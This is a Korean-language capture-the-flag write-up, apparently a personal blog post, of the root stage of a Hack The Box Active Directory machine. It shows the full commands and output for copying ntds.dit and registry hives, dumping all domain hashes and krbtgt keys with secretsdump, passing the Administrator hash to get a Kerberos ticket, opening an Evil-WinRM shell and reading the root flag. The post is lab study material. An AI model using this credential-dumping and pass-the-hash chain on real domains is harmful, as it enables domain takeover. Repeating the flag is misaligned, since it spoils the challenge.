WSL의 /mnt 디렉터리에는 Windows의 드라이브들이 마운트가 된다.

Third-Line Support 디렉터리 안에 Backups 디렉터리가 있었는데, jeremy는 볼 수 없었지만 svc_backup은 볼 수 있었다.

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls -al
total 0
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30  2025  .
dr-xr-xr-x 1 svc_backup svc_backup 4096 Jan 30  2025  ..
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30  2025 'Active Directory'
drwxrwxrwx 1 svc_backup svc_backup 4096 Jan 30  2025  registry

Submi Root Flag

Submit the flag located on the Administrator user’s desktop.

내부에는 다음과 같은 파일들이 있었다.

svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls -al 'Active Directory'/
total 24592
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 ..
-rwxrwxrwx 1 svc_backup svc_backup 25165824 Jan 30  2025 ntds.dit
-rwxrwxrwx 1 svc_backup svc_backup    16384 Jan 30  2025 ntds.jfm
  • ntds.dit : AD DC 핵심 DB
    • NTDS : NT Directory Services (Active Directory의 옛 이름)
    • .dit : Directory Information Tree
NTDS.dit 내용:
├── 모든 사용자 계정
│   ├── 이름, SID, 그룹 멤버십
│   ├── 비밀번호 해시 (NT hash, LM hash)
│   ├── 이전 비밀번호 해시 (Password history)
│   └── Kerberos 키 (AES128/256, RC4)
├── 컴퓨터 계정 (그 머신 계정 해시 포함)
├── KRBTGT 계정 (Golden Ticket의 마스터 키!)
├── 그룹/OU/GPO 정보
├── DNS 데이터 (AD 통합 DNS)
└── 스키마 정보
  • 이걸 풀면 도메인의 모든 사용자(Administrator 포함)의 NT 해시를 얻을 수 있음 (매우 중요)
    • 도메인 점령 시 노리는 최종 목표 중 하나라고 볼 수 있음

풀어야한다는게 무슨 말일까?

  • ntds.dit는 ESE(Extensible Storage Engine) 형식의 데이터베이스인데, DC가 켜져 있는 동안은 항상 잠겨 있다. (LSASS가 점유중)
  • 그리고 안의 비밀번호 해시들이 이중으로 암호화가 되어있다.
    • 첫 번째 키 : BootKey (SYSTEM 하이브에 있음)
    • 두 번째 키 : PEK (NTDS.dit 자체. BootKey로 보호됨)
  • 풀기 위해서는 SYSTEM 하이브가 필요하다!!
svc_backup@DC:/mnt/c/IT/Third-Line Support/Backups$ ls -al registry/
total 17952
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 .
drwxrwxrwx 1 svc_backup svc_backup     4096 Jan 30  2025 ..
-rwxrwxrwx 1 svc_backup svc_backup    32768 Jan 30  2025 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup 18350080 Jan 30  2025 SYSTEM
  • SYSTEM 하이브 : Windows 레지스트리의 일부
    • 시스템 부팅에 필요한 모든 설정이 들어가있다.

그래서 복호화 체인 흐름은 다음과 같다.

복호화 체인:
SYSTEM 하이브 → BootKey 추출

NTDS.dit 안의 암호화된 PEK를 꺼냄

BootKey로 PEK (Password Encryption Key) 복호화

PEK로 각 사용자의 해시 복호화

평문 NT 해시 획득

이걸 편하게 시행해주는 impacket-secretsdump 를 이용해보자.

우선 필요한 것들을 로컬로 가져와준다. (scp 명령을 이용)

  voleur scp -i id_rsa -P 2222 "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" ./SECURITY
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
SECURITY                                                                                                                                                   100%   32KB  32.0KB/s   00:01    
  voleur scp -i id_rsa -P 2222 "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" ./SYSTEM
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
SYSTEM                                                                                                                                                     100%   18MB   2.4MB/s   00:07    
  voleur scp -i id_rsa -P 2222 "svc_backup@10.129.232.130:/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ./ntds.dit
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ntds.dit 

그리고 impacket-scretsdump를 실행해주자!

impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
  • 내부적으로는 다음과 같은 일이 일어난다.
1. SYSTEM 하이브 파싱 → 4개 위치에서 SysKey 조각 모아서 BootKey 재조립 
2. SECURITY 하이브 파싱 → LSA Secrets 추출 (덤으로) → DPAPI 시스템 키 추출 (덤으로) 
3. NTDS.dit 파싱 → ESE 데이터베이스 열기 → BootKey로 PEK 복호화 → PEK로 각 사용자 해시 복호화 → SID, username, NT hash, LM hash 출력
  • 실행 결과
  voleur impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL                                                                                         19:21 [25/1071]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies                                                                                                                   
                                                                                                                                                                                             
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d                                                                                                                                
[*] Dumping cached domain logon information (domain/username:hash)                                                                                                                           
[*] Dumping LSA Secrets                                                                                                                                                                      
[*] $MACHINE.ACC                                                                                                                                                                             
$MACHINE.ACC:plain_password_hex:759d6c7b27b4c7c4feda8909bc656985b457ea8d7cee9e0be67971bcb648008804103df46ed40750e8d3be1a84b89be42a27e7c0e2d0f6437f8b3044e840735f37ba5359abae5fca8fe78959b667c
d5a68f2a569b657ee43f9931e2fff61f9a6f2e239e384ec65e9e64e72c503bd86371ac800eb66d67f1bed955b3cf4fe7c46fca764fb98f5be358b62a9b02057f0eb5a17c1d67170dda9514d11f065accac76de1ccdb1dae5ead8aa58c639b
69217c4287f3228a746b4e8fd56aea32e2e8172fbc19d2c8d8b16fc56b469d7b7b94db5cc967b9ea9d76cc7883ff2c854f76918562baacad873958a7964082c58287e2                                                       
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77                                                                                                              
[*] DPAPI_SYSTEM                                                                                                                                                                             
dpapi_machinekey:0x5d117895b83add68c59c7c48bb6db5923519f436                                                                                                                                  
dpapi_userkey:0xdce451c1fdc323ee07272945e3e0013d5a07d1c3                                                                                                                                     
[*] NL$KM                                                                                                                                                                                    
 0000   06 6A DC 3B AE F7 34 91  73 0F 6C E0 55 FE A3 FF   .j.;..4.s.l.U...                                                                                                                  
 0010   30 31 90 0A E7 C6 12 01  08 5A D0 1E A5 BB D2 37   01.......Z.....7                                                                                                                  
 0020   61 C3 FA 0D AF C9 94 4A  01 75 53 04 46 66 0A AC   a......J.uS.Ff..                                                                                                                  
 0030   D8 99 1F D3 BE 53 0C CF  6E 2A 4E 74 F2 E9 F2 EB   .....S..n*Nt....                                                                                                                  
NL$KM:066adc3baef73491730f6ce055fea3ff3031900ae7c61201085ad01ea5bbd23761c3fa0dafc9944a0175530446660aacd8991fd3be530ccf6e2a4e74f2e9f2eb                                                       
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)                                                                                                                                
[*] Searching for pekList, be patient                                                                                                                                                        
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40                                                                                                                            
[*] Reading and decrypting hashes from ntds.dit                                                                                                                                              
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::                                                                                                       
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                               
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\marie.bryant:1104:aad3b435b51404eeaad3b435b51404ee:53978ec648d3670b1b83dd0b5052d5f8:::
voleur.htb\lacey.miller:1105:aad3b435b51404eeaad3b435b51404ee:2ecfe5b9b7e1aa2df942dc108f749dd3:::
voleur.htb\svc_ldap:1106:aad3b435b51404eeaad3b435b51404ee:0493398c124f7af8c1184f9dd80c1307:::
voleur.htb\svc_backup:1107:aad3b435b51404eeaad3b435b51404ee:f44fe33f650443235b2798c72027c573:::
voleur.htb\svc_iis:1108:aad3b435b51404eeaad3b435b51404ee:246566da92d43a35bdea2b0c18c89410:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
Administrator:des-cbc-md5:459d836b9edcd6b0
DC$:aes256-cts-hmac-sha1-96:65d713fde9ec5e1b1fd9144ebddb43221123c44e00c9dacd8bfc2cc7b00908b7
DC$:aes128-cts-hmac-sha1-96:fa76ee3b2757db16b99ffa087f451782
DC$:des-cbc-md5:64e05b6d1abff1c8
krbtgt:aes256-cts-hmac-sha1-96:2500eceb45dd5d23a2e98487ae528beb0b6f3712f243eeb0134e7d0b5b25b145
krbtgt:aes128-cts-hmac-sha1-96:04e5e22b0af794abb2402c97d535c211
krbtgt:des-cbc-md5:34ae31d073f86d20
...

그러면 Administrator의 NTLM 해시를 얻을 수 있게 된다!!

  • Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
    • NTLM Hash 구조 : Username : RID : LM hash : NT hash : ...
      • (콜론 기준 앞이 LM, 뒤가 NT 해시 이다.)
      • LM : aad3b435b51404eeaad3b435b51404ee
      • NT : e656e07c56d831611b577b160b259ad2

impacket-getTGT 에서 -hashes 옵션을 사용하면 해시 값으로도 TGT를 발급 받을 수 있다.

  voleur impacket-getTGT voleur.htb/administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in administrator.ccache
  voleur  export KRB5CCNAME=administrator.ccache

환경변수까지 등록해서

Evil-WinRM 으로 접속해보면?

  voleur evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
voleur\administrator

(굿~)

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
486dce6a8773819f70c11472e6ddf3a2

느낀점 : 아직 멀었다… AD근데 너무 흥미롭고 재미있다. easy문제부터 착실히 공부해서 AD 정복해보고 싶다아아아


← ALL POSTS